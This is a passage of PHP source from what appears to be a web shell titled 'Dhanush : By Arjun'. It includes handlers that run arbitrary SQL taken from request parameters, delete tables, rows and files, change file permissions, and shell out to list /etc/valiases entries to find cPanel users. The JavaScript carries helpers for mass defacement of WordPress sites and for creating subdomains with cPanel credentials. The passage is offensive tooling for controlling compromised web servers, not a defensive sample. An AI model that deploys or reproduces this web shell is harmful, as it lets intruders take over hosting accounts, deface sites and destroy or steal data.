5737 $tablename = $_GET['tablename'];
5738 $mysqlHandle = mysql_connect ($dbserver, $dbuser, $dbpass);
5739 mysql_select_db($dbname);
5740 mysql_query("delete from $tablename");
5741 listtable();
5742 }
5743
5744 // Empty Tables
5745 if($_GET['action'] == "dropField")
5746 {
5747 $dbserver = $_COOKIE["dbserver"];
5748 $dbuser = $_COOKIE["dbuser"];
5749 $dbpass = $_COOKIE["dbpass"];
5750 $dbname = $_GET['dbname'];
5751 $tablename = $_GET['tablename'];
5752 $fieldname = $_GET['fieldname'];
5753 $mysqlHandle = mysql_connect ($dbserver, $dbuser, $dbpass);
5754 mysql_select_db($dbname);
5755 $queryStr = "ALTER TABLE $tablename DROP COLUMN $fieldname";
5756 mysql_select_db( $dbname, $mysqlHandle );
5757 mysql_query( $queryStr , $mysqlHandle );
5758 listtable();
5759 }
5760
5761 if($_GET['action'] == 'viewdb')
5762 {
5763 listdatabase();
5764 }
5765
5766 // View Table Schema
5767 if($_GET['action'] == "viewSchema")
5768 {
5769 $dbserver = $_COOKIE["dbserver"];
5770 $dbuser = $_COOKIE["dbuser"];
5771 $dbpass = $_COOKIE["dbpass"];
5772 $dbname = $_GET['dbname'];
5773 $tablename = $_GET['tablename'];
5774 $mysqlHandle = mysql_connect ($dbserver, $dbuser, $dbpass);
5775 mysql_select_db($dbname);
5776 echo "<br><div><font color=white size=3>[ $dbname ]</font> - <font color=white size=3>></font> <a href=# onClick=\"viewtables('viewdb')\"> <font size=3>Database List</font> </a> <font color=white size=3>></font> <a href=# onClick=\"viewtables('listTables','$dbname','$tablename')\"> <font size=3>Table List</font> </a> <a href=$self?logoutdb> <font size=3>[ Log Out ]</font> </a></div>";
5777 $pResult = mysql_query( "SHOW fields FROM $tablename" );
5778 $num = mysql_num_rows( $pResult );
5779 echo "<br><br><table class=btmtbl align=center cellspacing=4 style='width:80%;' border=1>";
5780 echo "<th>Field</th><th>Type</th><th>Null</th><th>Key</th></th>";
5781 for( $i = 0; $i < $num; $i++ )
5782 {
5783 $field = mysql_fetch_array( $pResult );
5784 echo "<tr>\n";
5785 echo "<td>".$field["Field"]."</td>\n";
5786 echo "<td>".$field["Type"]."</td>\n";
5787 echo "<td>".$field["Null"]."</td>\n";
5788 echo "<td>".$field["Key"]."</td>\n";
5789 echo "<td>".$field["Default"]."</td>\n";
5790 echo "<td>".$field["Extra"]."</td>\n";
5791 $fieldname = $field["Field"];
5792 echo "<td><a href=# onClick=\"viewtables('dropField','$dbname','$tablename','','','','$fieldname')\">Drop</a></td>\n";
5793 echo "</tr>\n";
5794 }
5795 echo "</table>";
5796 echo "<div><font color=white size=3>[ $dbname ]</font> - <font color=white size=3>></font> <a href=# onClick=\"viewtables('viewdb')\"> <font size=3>Database List</font> </a> <font color=white size=3>></font> <a href=# onClick=\"viewtables('listTables','$dbname','$tablename')\"> <font size=3>Table List</font> </a> <a href=$self?logoutdb> <font size=3>[ Log Out ]</font> </a></div>";
5797 }
5798
5799 // Execute Query
5800 if($_GET['action'] == "executequery")
5801 {
5802 $dbserver = $_COOKIE["dbserver"];
5803 $dbuser = $_COOKIE["dbuser"];
5804 $dbpass = $_COOKIE["dbpass"];
5805 $dbname = $_GET['dbname'];
5806 $tablename = $_GET['tablename'];
5807 $mysqlHandle = mysql_connect ($dbserver, $dbuser, $dbpass);
5808 mysql_select_db($dbname);
5809 $result = mysql_query($_GET['executemyquery']);
5810
5811 // results
5812 echo "<html>\r\n". strtoupper($_GET['executemyquery']) . "<br>\r\n<table border =\"1\">\r\n";
5813
5814 $count = 0;
5815 while ($row = mysql_fetch_assoc($result))
5816 {
5817 echo "<tr>\r\n";
5818
5819 if ($count==0) // list column names
5820 {
5821 echo "<tr>\r\n";
5822 while($key = key($row))
5823 {
5824 echo "<td><b>" . $key . "</b></td>\r\n";
5825 next($row);
5826 }
5827 echo "</tr>\r\n";
5828 }
5829
5830 foreach($row as $r) // list content of column names
5831 {
5832 if ($r=='') $r = '<font >NULL</font>';
5833 echo "<td><font class=txt>" . $r . "</font></td>\r\n";
5834 }
5835 echo "</tr>\r\n";
5836 $count++;
5837 }
5838 echo "</table>\n\r<font class=txt size=3>" . $count . " rows returned.</font>\r\n</html>";
5839 echo "<div><font color=white size=3>[ $dbname ]</font> - <font color=white size=3>></font> <a href=# onClick=\"viewtables('viewdb')\"> <font size=3>Database List</font> </a> <font color=white size=3>></font> <a href=# onClick=\"viewtables('listTables','$dbname','$tablename')\"> <font size=3>Table List</font> </a> <a href=$self?logoutdb> <font size=3>[ Log Out ]</font> </a></div>";
5840 }
5841
5842 // View Table Data
5843 if($_GET['action'] == "viewdata")
5844 {
5845 global $queryStr, $action, $mysqlHandle, $dbname, $tablename, $PHP_SELF, $errMsg, $page, $rowperpage, $orderby, $data;
5846 $dbserver = $_COOKIE["dbserver"];
5847 $dbuser = $_COOKIE["dbuser"];
5848 $dbpass = $_COOKIE["dbpass"];
5849 $dbname = $_GET['dbname'];
5850 $tablename = $_GET['tablename'];
5851 echo "<br><div><font color=white size=3>[ $dbname ]</font> - <font color=white size=3>></font> <a href=# onClick=\"viewtables('viewdb')\"> <font size=3>Database List</font> </a> <font color=white size=3>></font> <a href=# onClick=\"viewtables('listTables','$dbname','$tablename')\"> <font size=3>Table List</font> </a> <a href=$self?logoutdb> <font size=3>[ Log Out ]</font> </a></div>";
5852 ?>
5853 <br><br>
5854 <form>
5855 <table>
5856 <tr>
5857 <td><textarea cols="60" rows="7" name="executemyquery" class="box">Execute Query..</textarea></td>
5858 </tr>
5859 <tr>
5860 <td><input type="button" onClick="viewtables('executequery','<?php echo $_GET['dbname'];?>','<?php echo $_GET['tablename']; ?>','','',executemyquery.value)" value="Execute" class="but"></td>
5861 </tr>
5862 </table>
5863 </form>
5864 <?php
5865 $mysqlHandle = mysql_connect ($dbserver, $dbuser, $dbpass);
5866 mysql_select_db($dbname);
5867
5868 $sql = mysql_query("SELECT `COLUMN_NAME` FROM `information_schema`.`COLUMNS` WHERE (`TABLE_SCHEMA` = '$dbname') AND (`TABLE_NAME` = '$tablename') AND (`COLUMN_KEY` = 'PRI');");
5869 $row = mysql_fetch_array($sql);
5870 $rowid = $row['COLUMN_NAME'];
5871
5872 echo "<br><font size=4>Data in Table</font><br>";
5873 if( $tablename != "" )
5874 echo "<font size=3 class=txt>$dbname > $tablename</font><br>";
5875 else
5876 echo "<font size=3 class=txt>$dbname</font><br>";
5877
5878 $queryStr = "";
5879 $pag = 0;
5880 $queryStr = stripslashes( $queryStr );
5881 if( $queryStr == "" )
5882 {
5883 if(isset($_REQUEST['page']))
5884 {
5885 $res = mysql_query("select * from $tablename");
5886 $getres = mysql_num_rows($res);
5887 $coun = ceil($getres/30);
5888 if($_REQUEST['page'] != 1)
5889
5890 $pag = $_REQUEST['page'] * 30;
5891 else
5892 $pag = $_REQUEST['page'] * 30;
5893
5894 $queryStr = "SELECT * FROM $tablename LIMIT $pag,30";
5895 $sql = mysql_query("SELECT $rowid FROM $tablename ORDER BY $rowid LIMIT $pag,30");
5896 $arrcount = 1;
5897 $arrdata[$arrcount] = 0;
5898 while($row = mysql_fetch_array($sql))
5899 {
5900 $arrdata[$arrcount] = $row[$rowid];
5901 $arrcount++;
5902 }
5903 }
5904 else
5905 {
5906 $queryStr = "SELECT * FROM $tablename LIMIT 0,30";
5907 $sql = mysql_query("SELECT $rowid FROM $tablename ORDER BY $rowid LIMIT 0,30");
5908 $arrcount = 1;
5909 $arrdata[$arrcount] = 0;
5910 while($row = mysql_fetch_array($sql))
5911 {
5912 $arrdata[$arrcount] = $row[$rowid];
5913 $arrcount++;
5914 }
5915 }
5916 if( $orderby != "" )
5917 $queryStr .= " ORDER BY $orderby";
5918 echo "<a href=# onClick=\"viewtables('viewSchema','$dbname','$tablename')\"><font size=3>Schema</font></a>\n";
5919 }
5920
5921
5922 $pResult = mysql_query($queryStr );
5923 $fieldt = mysql_fetch_field($pResult);
5924 $tablename = $fieldt->table;
5925 $errMsg = mysql_error();
5926
5927 $GLOBALS[queryStr] = $queryStr;
5928
5929 if( $pResult == false )
5930 {
5931 echoQueryResult();
5932 return;
5933 }
5934 if( $pResult == 1 )
5935 {
5936 $errMsg = "Success";
5937 echoQueryResult();
5938 return;
5939 }
5940
5941 echo "<hr color='#1B1B1B'>\n";
5942
5943 $row = mysql_num_rows( $pResult );
5944 $col = mysql_num_fields( $pResult );
5945
5946 if( $row == 0 )
5947 {
5948 echo "<font size=3>No Data Exist!</font>";
5949 return;
5950 }
5951
5952 if( $rowperpage == "" ) $rowperpage = 30;
5953 if( $page == "" ) $page = 0;
5954 else $page--;
5955 mysql_data_seek( $pResult, $page * $rowperpage );
5956
5957 echo "<table class=btmtbl cellspacing=1 cellpadding=5 border=1 align=center>\n";
5958 echo "<tr>\n";
5959 for( $i = 0; $i < $col; $i++ )
5960 {
5961 $field = mysql_fetch_field( $pResult, $i );
5962 echo "<th>";
5963 if($action == "viewdata")
5964 echo "<a href='$PHP_SELF?action=viewdata&dbname=$dbname&tablename=$tablename&orderby=".$field->name."'>".$field->name."</a>\n";
5965 else
5966 echo $field->name."\n";
5967 echo "</th>\n";
5968 }
5969 echo "<th colspan=2>Action</th>\n";
5970 echo "</tr>\n";
5971 $num=1;
5972
5973
5974 $acount = 1;
5975
5976 for( $i = 0; $i < $rowperpage; $i++ )
5977 {
5978 $rowArray = mysql_fetch_row( $pResult );
5979 if( $rowArray == false ) break;
5980 echo "<tr>\n";
5981 $key = "";
5982 for( $j = 0; $j < $col; $j++ )
5983 {
5984 $data = $rowArray[$j];
5985
5986 $field = mysql_fetch_field( $pResult, $j );
5987 if( $field->primary_key == 1 )
5988 $key .= "&" . $field->name . "=" . $data;
5989
5990 if( strlen( $data ) > 30 )
5991 $data = substr( $data, 0, 30 ) . "...";
5992 $data = htmlspecialchars( $data );
5993 echo "<td>\n";
5994 echo "<font class=txt>$data</font>\n";
5995 echo "</td>\n";
5996 }
5997
5998 if(!is_numeric($arrdata[$acount]))
5999 echo "<td colspan=2>No Key</td>\n";
6000 else
6001 {
6002 echo "<td><a href=# onClick=\"viewtables('editData','$dbname','$tablename','$rowid','$arrdata[$acount]')\">Edit</a></td>\n";
6003 echo "<td><a href=# onClick=\"viewtables('deleteData','$dbname','$tablename','$rowid','$arrdata[$acount]')\">Delete</a></td>\n";
6004 $acount++;
6005 }
6006 }
6007 echo "</tr>\n";
6008
6009
6010 echo "</table>";
6011 if($arrcount > 30)
6012 {
6013 $res = mysql_query("select * from $tablename");
6014 $getres = mysql_num_rows($res);
6015 $coun = ceil($getres/30);
6016 echo "<form action=$self><input type=hidden value=viewdata name=action><input type=hidden name=tablename value=$tablename><input type=hidden value=$dbname name=dbname><select style='width: 95px;' name=page class=sbox>";
6017 for($i=0;$i<$coun;$i++)
6018 echo "<option value=$i>$i</option>";
6019
6020 echo "</select> <input type=button onClick=\"viewtables('viewdata','$dbname','$tablename','','','','',page.value)\" value=Go class=but></form>";
6021 echo "<br><div><font color=white size=3>[ $dbname ]</font> - <font color=white size=3>></font> <a href=# onClick=\"viewtables('viewdb')\"> <font size=3>Database List</font> </a> <font color=white size=3>></font> <a href=# onClick=\"viewtables('listTables','$dbname','$tablename')\"> <font size=3>Table List</font> </a> <a href=$self?logoutdb> <font size=3>[ Log Out ]</font> </a></div>";
6022 }
6023 }
6024
6025 // Delete Table Data
6026 if($_GET['action'] == "deleteData")
6027 {
6028 $dbserver = $_COOKIE["dbserver"];
6029 $dbuser = $_COOKIE["dbuser"];
6030 $dbpass = $_COOKIE["dbpass"];
6031 $dbname = $_GET['dbname'];
6032 $tablename = $_GET['tablename'];
6033 $mysqlHandle = mysql_connect ($dbserver, $dbuser, $dbpass);
6034 mysql_select_db($dbname);
6035 $sql = mysql_query("SELECT `COLUMN_NAME` FROM `information_schema`.`COLUMNS` WHERE (`TABLE_SCHEMA` = '$dbname') AND (`TABLE_NAME` = '$tablename') AND (`COLUMN_KEY` = 'PRI');");
6036 $row = mysql_fetch_array($sql);
6037 $row = $row['COLUMN_NAME'];
6038 $rowid = $_GET[$row];
6039 mysql_query("delete from $tablename where $row = '$rowid'");
6040 listtable();
6041 }
6042 // Edit Table Data
6043 if($_GET['action'] == "editData")
6044 {
6045 global $queryStr, $action, $mysqlHandle, $dbname, $tablename, $PHP_SELF, $errMsg, $page, $rowperpage, $orderby, $data;
6046 $dbserver = $_COOKIE["dbserver"];
6047 $dbuser = $_COOKIE["dbuser"];
6048 $dbpass = $_COOKIE["dbpass"];
6049 $dbname = $_GET['dbname'];
6050 $tablename = $_GET['tablename'];
6051 echo "<br><div><font color=white size=3>[ $dbname ]</font> - <font color=white size=3>></font> <a href=# onClick=\"viewtables('viewdb')\"> <font size=3>Database List</font> </a> <font color=white size=3>></font> <a href=# onClick=\"viewtables('listTables','$dbname','$tablename')\"> <font size=3>Table List</font> </a> <a href=$self?logoutdb> <font size=3>[ Log Out ]</font> </a></div>";
6052 ?>
6053 <br><br>
6054 <form action="<?php echo $self; ?>" method="post">
6055 <?php
6056 $mysqlHandle = mysql_connect ($dbserver, $dbuser, $dbpass);
6057 mysql_select_db($dbname);
6058
6059 $sql = mysql_query("SELECT `COLUMN_NAME` FROM `information_schema`.`COLUMNS` WHERE (`TABLE_SCHEMA` = '$dbname') AND (`TABLE_NAME` = '$tablename') AND (`COLUMN_KEY` = 'PRI');");
6060 $row = mysql_fetch_array($sql);
6061 $row = $row['COLUMN_NAME'];
6062 $rowid = $_GET[$row];
6063
6064 $pResult = mysql_list_fields( $dbname, $tablename );
6065 $num = mysql_num_fields( $pResult );
6066
6067 $key = "";
6068 for( $i = 0; $i < $num; $i++ )
6069 {
6070 $field = mysql_fetch_field( $pResult, $i );
6071 if( $field->primary_key == 1 )
6072 if( $field->numeric == 1 )
6073 $key .= $field->name . "=" . $GLOBALS[$field->name] . " AND ";
6074 else
6075 $key .= $field->name . "='" . $GLOBALS[$field->name] . "' AND ";
6076 }
6077 $key = substr( $key, 0, strlen($key)-4 );
6078
6079 mysql_select_db( $dbname, $mysqlHandle );
6080 $pResult = mysql_query( $queryStr = "SELECT * FROM $tablename WHERE $row = $rowid", $mysqlHandle );
6081 $data = mysql_fetch_array( $pResult );
6082
6083 echo "<table class=btmtbl cellspacing=1 cellpadding=2 border=1>\n";
6084 echo "<tr>\n";
6085 echo "<th>Name</th>\n";
6086 echo "<th>Type</th>\n";
6087 echo "<th>Function</th>\n";
6088 echo "<th>Data</th>\n";
6089 echo "</tr>\n";
6090
6091 $pResult = mysql_db_query( $dbname, "SHOW fields FROM $tablename" );
6092 $num = mysql_num_rows( $pResult );
6093
6094 $pResultLen = mysql_list_fields( $dbname, $tablename );
6095 $fundata1 = "'action','editsubmitData','dbname','".$dbname."','tablename','".$tablename."',";
6096 $fundata2 = "'action','insertdata','dbname','".$dbname."','tablename','".$tablename."',";
6097 for( $i = 0; $i < $num; $i++ )
6098 {
6099 $field = mysql_fetch_array( $pResult );
6100 $fieldname = $field["Field"];
6101 $fieldtype = $field["Type"];
6102 $len = mysql_field_len( $pResultLen, $i );
6103
6104 echo "<tr>";
6105 echo "<td>$fieldname</td>";
6106 echo "<td>".$field["Type"]."</td>";
6107 echo "<td>\n";
6108 echo "<select name=${fieldname}_function class=sbox>\n";
6109 echo "<option>\n";
6110 echo "<option>ASCII\n";
6111 echo "<option>CHAR\n";
6112 echo "<option>SOUNDEX\n";
6113 echo "<option>CURDATE\n";
6114 echo "<option>CURTIME\n";
6115 echo "<option>FROM_DAYS\n";
6116 echo "<option>FROM_UNIXTIME\n";
6117 echo "<option>NOW\n";
6118 echo "<option>PASSWORD\n";
6119 echo "<option>PERIOD_ADD\n";
6120 echo "<option>PERIOD_DIFF\n";
6121 echo "<option>TO_DAYS\n";
6122 echo "<option>USER\n";
6123 echo "<option>WEEKDAY\n";
6124 echo "<option>RAND\n";
6125 echo "</select>\n";
6126 echo "</td>\n";
6127 $value = htmlspecialchars($data[$i]);
6128 $type = strtok( $fieldtype, " (,)\n" );
6129 if( $type == "enum" || $type == "set" )
6130 {
6131 echo "<td>\n";
6132 if( $type == "enum" )
6133 echo "<select name=$fieldname class=box>\n";
6134 else if( $type == "set" )
6135 echo "<select name=$fieldname size=4 class=box multiple>\n";
6136 while( $str = strtok( "'" ) )
6137 {
6138 if( $value == $str )
6139 echo "<option selected>$str\n";
6140 else
6141 echo "<option>$str\n";
6142 strtok( "'" );
6143 }
6144 echo "</select>\n";
6145 echo "</td>\n";
6146 }
6147 else
6148 {
6149 if( $len < 40 )
6150 echo "<td><input type=text size=40 maxlength=$len id=dhanush_$fieldname name=sql_$fieldname value=\"$value\" class=box></td>\n";
6151 else
6152 echo "<td><textarea cols=47 rows=3 maxlength=$len name=dhanush_$fieldname class=box>$value</textarea>\n";
6153 }
6154 $fundata1 .= "'dhanush_".$fieldname."',dhanush_".$fieldname.".value,";
6155 $fundata2 .= "'dhanush_".$fieldname."',dhanush_".$fieldname.".value,";
6156 echo "</tr>";
6157 }
6158 $fundata1=eregi_replace(',$', '', $fundata1);
6159 $fundata2=eregi_replace(',$', '', $fundata2);
6160
6161 echo "</table><p>\n";
6162 echo "<input type=button onClick=\"editdata($fundata1)\" value='Edit Data' class=but>\n";
6163 echo "<input type=button value='Insert' onClick=\"editdata($fundata2)\" class=but>\n";
6164 echo "</form>\n";
6165 }
6166 }
6167// Edit Submit Table Data
6168else if($_REQUEST['action'] == "editsubmitData")
6169{
6170 $dbserver = $_COOKIE["dbserver"];
6171 $dbuser = $_COOKIE["dbuser"];
6172 $dbpass = $_COOKIE["dbpass"];
6173 $dbname = $_POST['dbname'];
6174 $tablename = $_POST['tablename'];
6175
6176 $mysqlHandle = mysql_connect ($dbserver, $dbuser, $dbpass);
6177 mysql_select_db($dbname);
6178
6179 $sql = mysql_query("SELECT `COLUMN_NAME` FROM `information_schema`.`COLUMNS` WHERE (`TABLE_SCHEMA` = '$dbname') AND (`TABLE_NAME` = '$tablename') AND (`COLUMN_KEY` = 'PRI');");
6180 $row = mysql_fetch_array($sql);
6181 $row = $row['COLUMN_NAME'];
6182 $rowid = $_POST[$row];
6183
6184 $pResult = mysql_db_query( $dbname, "SHOW fields FROM $tablename" );
6185 $num = mysql_num_rows( $pResult );
6186
6187 $rowcount = $num;
6188
6189 $pResultLen = mysql_list_fields( $dbname, $tablename );
6190
6191 for( $i = 0; $i < $num; $i++ )
6192 {
6193 $field = mysql_fetch_array( $pResult );
6194 $fieldname = $field["Field"];
6195 $arrdata = $_REQUEST[$fieldname];
6196
6197 $str .= " " . $fieldname . " = '" . $arrdata . "'";
6198 $rowcount--;
6199 if($rowcount != 0)
6200 $str .= ",";
6201 }
6202
6203 $str = "update $tablename set" . $str . " where $row=$rowid";
6204 mysql_query($str);
6205 ?><div id="showsql"></div><?php
6206}
6207// Insert Table Data
6208else if($_REQUEST['action'] == "insertdata")
6209{
6210 $dbserver = $_COOKIE["dbserver"];
6211 $dbuser = $_COOKIE["dbuser"];
6212 $dbpass = $_COOKIE["dbpass"];
6213 $dbname = $_POST['dbname'];
6214 $tablename = $_POST['tablename'];
6215
6216 $mysqlHandle = mysql_connect ($dbserver, $dbuser, $dbpass);
6217 mysql_select_db($dbname);
6218
6219 $sql = mysql_query("SELECT `COLUMN_NAME` FROM `information_schema`.`COLUMNS` WHERE (`TABLE_SCHEMA` = '$dbname') AND (`TABLE_NAME` = '$tablename') AND (`COLUMN_KEY` = 'PRI');");
6220 $row = mysql_fetch_array($sql);
6221 $row = $row['COLUMN_NAME'];
6222 $rowid = $_POST[$row];
6223
6224 $pResult = mysql_db_query( $dbname, "SHOW fields FROM $tablename" );
6225 $num = mysql_num_rows( $pResult );
6226
6227 $rowcount = $num;
6228
6229 $pResultLen = mysql_list_fields( $dbname, $tablename );
6230
6231 for( $i = 0; $i < $num; $i++ )
6232 {
6233 $field = mysql_fetch_array( $pResult );
6234 $fieldname = $field["Field"];
6235 $arrdata = $_REQUEST[$fieldname];
6236
6237 $str1 .= "".$fieldname . ",";
6238 $str2 .= "'".$arrdata . "',";
6239 $rowcount--;
6240 if($rowcount != 0)
6241 {
6242 //$str1 .= $fieldname . ",";
6243 //$str2 .= $arrdata . ",";
6244 }
6245 }
6246 $str1=eregi_replace(',$', '', $str1);
6247 $str2=eregi_replace(',$', '', $str2);
6248 $str = "INSERT INTO `$tablename` ($str1) VALUES ($str2);";
6249 mysql_query($str);
6250
6251 ?><div id="showsql"></div><?php
6252}
6253else if(isset($_GET['logoutdb']))
6254{
6255 setcookie("dbserver",time() - 60*60);
6256 setcookie("dbuser",time() - 60*60);
6257 setcookie("dbpass",time() - 60*60);
6258 header("Location:$self");
6259}
6260else if(isset($_POST['choice']))
6261{
6262 if($_POST['choice'] == "delete")
6263 {
6264 $actbox = $_POST["actbox"];
6265 echo '<br><input type="button" onClick="cancel()" value=" OK " class="but" style="padding: 5px;" />';
6266
6267 foreach ($actbox as $myv)
6268 $myv = explode(",",$myv);
6269 foreach ($myv as $v)
6270 {
6271 if(is_file($v))
6272 {
6273 if(unlink($v))
6274 echo "<br><center><font class=txt>File $v Deleted Successfully</font></center>";
6275 else
6276 echo "<br><center>Cannot Delete File $v</center>";
6277 }
6278 else if(is_dir($v))
6279 {
6280 rrmdir($v);
6281 }
6282 }
6283 echo '<br>';
6284 }
6285 else if($_POST['choice'] == "chmod")
6286 { ?>
6287 <BR><form id="chform"><?php
6288 $actbox1 = $_POST['actbox'];
6289 foreach ($actbox1 as $myv)
6290 $myv = explode(",",$myv);
6291 foreach ($myv as $v)
6292 { ?>
6293 <input type="hidden" name="actbox3[]" id="actbox3[]" value="<?php echo $v; ?>">
6294 <?php }
6295 ?>
6296 <table align="center" border="3" style="width:40%; border-color:#333333;">
6297 <tr>
6298 <td style="height:40px" align="right">Change Permissions </td><td align="center"><input value="0755" name="chmode" class="sbox" /></td>
6299 </tr>
6300 <tr>
6301 <td colspan="2" align="center" style="height:60px">
6302 <input type="button" onClick="myaction('changefileperms',chmode.value)" value="Change Permission" class="but" style="padding: 5px;" />
6303 <input type="button" onClick="cancel()" value="cancel" class="but" style="padding: 5px;" /></form></center>
6304 </td>
6305 </tr>
6306 </table>
6307
6308 </form> <?php
6309 }
6310 else if($_POST['choice'] == "changefileperms")
6311 {
6312 if($_POST['chmode'] != null && is_numeric($_POST['chmode']))
6313 {
6314 $actbox = $_POST["actbox"];
6315 foreach ($actbox as $myv)
6316 $myv = explode(",",$myv);
6317 foreach ($myv as $v)
6318 {
6319 if(is_file($v) || is_dir($v))
6320 {
6321 $perms = 0;
6322 for($i=strlen($_POST['chmode'])-1;$i>=0;--$i)
6323 $perms += (int)$_POST['chmode'][$i]*pow(8, (strlen($_POST['chmode'])-$i-1));
6324 echo "<div align=left style=width:60%;>";
6325 if(@chmod($v,$perms))
6326 echo "<font class=txt>File $v Permissions Changed Successfully</font><br>";
6327 else
6328 echo "Cannot Change $v File Permissions<br>";
6329 echo "</div>";
6330 }
6331 }
6332
6333 }
6334 }
6335 else if($_POST['choice'] == "compre")
6336 {
6337 echo '<br><input type="button" onClick="cancel()" value=" OK " class="but" style="padding: 5px;" />';
6338 $actbox = $_POST["actbox"];
6339 foreach ($actbox as $myv)
6340 $myv = explode(",",$myv);
6341 foreach ($myv as $v)
6342 {
6343 if(is_file($v))
6344 {
6345 $zip = new ZipArchive();
6346 $filename= basename($v) . '.zip';
6347 if(($zip->open($filename, ZipArchive::CREATE))!==true)
6348 { echo '<br><font size=3>Error: Unable to create zip file for $v</font>';}
6349 else {echo "<br><font class=txt size=3>File $v Compressed successfully</font>";}
6350 $zip->addFile(basename($v));
6351 $zip->close();
6352 }
6353 else if(is_dir($v))
6354 {
6355 if($os == "Linux")
6356 {
6357 $filename= basename($v);
6358 execmd("tar --create --recursion --file=$filename.tar $v");
6359 echo "<br><font class=txt size=3>File $v Compressed successfully as $v.tar</font>";
6360 }
6361 else
6362 echo "<BR>Cannot compress directory<BR><BR>";
6363 }
6364 }
6365 echo '<BR><BR>';
6366 }
6367 else if($_POST['choice'] == "uncompre")
6368 {
6369 echo '<br><input type="button" onClick="cancel()" value=" OK " class="but" style="padding: 5px;" />';
6370 $actbox = $_POST["actbox"];
6371 foreach ($actbox as $myv)
6372 $myv = explode(",",$myv);
6373 foreach ($myv as $v)
6374 {
6375 if(is_file($v) || is_dir($v))
6376 {
6377 $zip = new ZipArchive;
6378 $filename= basename($v);
6379 $res = $zip->open($filename);
6380 if ($res === TRUE)
6381 {
6382 $pieces = explode(".",$filename);
6383 $zip->extractTo($pieces[0]);
6384 $zip->close();
6385 echo '<BR><font class=txt size=3>File '.$v.' Unzipped successfully</font>';
6386 } else
6387 echo "<br><font size=3>Error: Unable to Unzip file $v</font>";
6388 }
6389 }
6390 echo '<BR><BR>';
6391 }
6392}
6393else if(isset($_GET['sitename']))
6394{
6395 $sitename = str_replace("http://","",$_GET['sitename']);
6396 $sitename = str_replace("http://www.","",$sitename);
6397 $sitename = str_replace("www.","",$sitename);
6398 $show = myexe("ls -la /etc/valiases/".$sitename);
6399 if(!empty($show))
6400 echo $show;
6401 else
6402 echo "Cannot get the username";
6403}
6404else if(isset($_GET['mydata']))
6405{
6406 listdatabase();
6407}
6408else if(isset($_GET['home']))
6409{
6410 mainfun($_GET['home']);
6411}
6412else if(isset($_GET['dir']))
6413{
6414 mainfun($_GET['myfilepath']);
6415}
6416else if(isset($_GET['mydirpath']))
6417{
6418 echo is_writable($_GET['mydirpath'])?"<font class=txt>< writable ></font>":"< not writable >";
6419}
6420else
6421{
6422?>
6423<meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
6424<title>Dhanush : By Arjun</title>
6425<script type="text/javascript">
6426checked = false;
6427var waitstate = "<center><marquee scrollamount=4 width=150>Wait....</marquee></center>";
6428function checkedAll ()
6429{
6430 if (checked == false){checked = true}else{checked = false}
6431 for (var i = 0; i < document.getElementById('myform').elements.length; i++)
6432 {
6433 document.getElementById('myform').elements[i].checked = checked;
6434 }
6435}
6436function change_style(mystyle)
6437{
6438 window.location.href = '<?php echo $self; ?>?style='+mystyle;
6439}
6440function createsubdomain(cpaneluser,cpanelpass,noofsubdomain,subindex)
6441{
6442 var params = "cpaneluser="+cpaneluser+"&cpanelpass="+cpanelpass+"&noofsubdomain="+noofsubdomain+"&subindex="+subindex;
6443 document.getElementById("showmydata").innerHTML=waitstate;
6444 var ajaxRequest;
6445 ajaxRequest = new XMLHttpRequest();
6446
6447 ajaxRequest.onreadystatechange = function()
6448 {
6449 if(ajaxRequest.readyState == 3)
6450 {
6451 document.getElementById("showmydata").innerHTML=ajaxRequest.responseText;
6452 }
6453 }
6454
6455 ajaxRequest.open("POST", "<?php echo $_SERVER["PHP_SELF"]; ?>", true);
6456 ajaxRequest.setRequestHeader("Content-type", "application/x-www-form-urlencoded")
6457 ajaxRequest.send(params);
6458}
6459function massdeface(script,masswpdef,wpsym)
6460{
6461 var params = "massscript="+script+"&massdef="+masswpdef+"&wpsym="+wpsym;
6462 document.getElementById("showdef").innerHTML="<center><marquee scrollamount=4 width=150>It may take long time. Wait....</marquee></center>";
6463 var ajaxRequest;
6464 ajaxRequest = new XMLHttpRequest();
6465
6466 ajaxRequest.onreadystatechange = function()
6467 {
6468 if(ajaxRequest.readyState == 3)
6469 {
6470 document.getElementById("showdef").innerHTML=ajaxRequest.responseText;
6471 }
6472 }
6473
6474 ajaxRequest.open("POST", "<?php echo $_SERVER["PHP_SELF"]; ?>", true);
6475 ajaxRequest.setRequestHeader("Content-type", "application/x-www-form-urlencoded")
6476 ajaxRequest.send(params);
6477}
6478function urlchange(myfilepath)
6479{
6480 var mypath, mpath, i, t, j, r = "",myurl = "",splitter="";
6481 splitter = "<?php echo addslashes($directorysperator); ?>";
6482 mypath = mpath = myfilepath.split(splitter);
6483 <?php if($os == "Linux") { ?>
6484 r = "/";
6485 myurl = "<a href=javascript:void(0) onClick=\"changedir('dir','/')\">/</a>";
6486 <?php } ?>
6487 for (i = 0; i < mypath.length; i++)
6488 {
6489 if(mypath[i] == "")
6490 continue;
6491 r += mypath[i]+"<?php echo addslashes($directorysperator); ?>";
6492
6493 myurl += "<a href=javascript:void(0) onClick=\"changedir('dir','"+r+"\')\"><b>"+mypath[i]+"<?php echo addslashes($directorysperator); ?></b></a>";
6494 }
6495 myurl = myurl.replace(/\\/g,"\\\\");
6496 return myurl;
6497}
6498function wrtblDIR(mydirpath)
6499{
6500 var ajaxRequest;
6501 ajaxRequest = new XMLHttpRequest();
6502
6503 ajaxRequest.onreadystatechange = function()
6504 {
6505 if(ajaxRequest.readyState == 4)
6506 {
6507 for(i=0;i<=3;i++)
6508 document.getElementsByName("wrtble")[i].innerHTML=ajaxRequest.responseText;
6509 }
6510 }
6511
6512 ajaxRequest.open("GET", "<?php echo $_SERVER["PHP_SELF"]; ?>?mydirpath="+mydirpath, true);
6513 ajaxRequest.send(null);
6514}
6515function setpath(myfilpath)
6516{
6517 wrtblDIR(myfilpath);
6518 document.getElementById("path").value=myfilpath;
6519 document.getElementById("createfile").value=myfilpath;
6520 document.getElementById("readfile").value=myfilpath;
6521 document.getElementById("readdir").value=myfilpath;
6522 document.getElementById("createfolder").value=myfilpath;
6523 document.getElementById("createfolder").value=myfilpath;
6524 document.getElementById("exepath").value=myfilpath;
6525 document.getElementById("auexepath").value=myfilpath;
6526 document.getElementById("showdir").innerHTML="";
6527}
6528function changedir(myaction,myfilepath)
6529{
6530 var myurl = urlchange(myfilepath);
6531
6532 document.getElementById("showmaindata").innerHTML=waitstate;
6533 var ajaxRequest;
6534 ajaxRequest = new XMLHttpRequest();
6535
6536 ajaxRequest.onreadystatechange = function()
6537 {
6538 if(ajaxRequest.readyState == 4)
6539 {
6540 setpath(myfilepath);
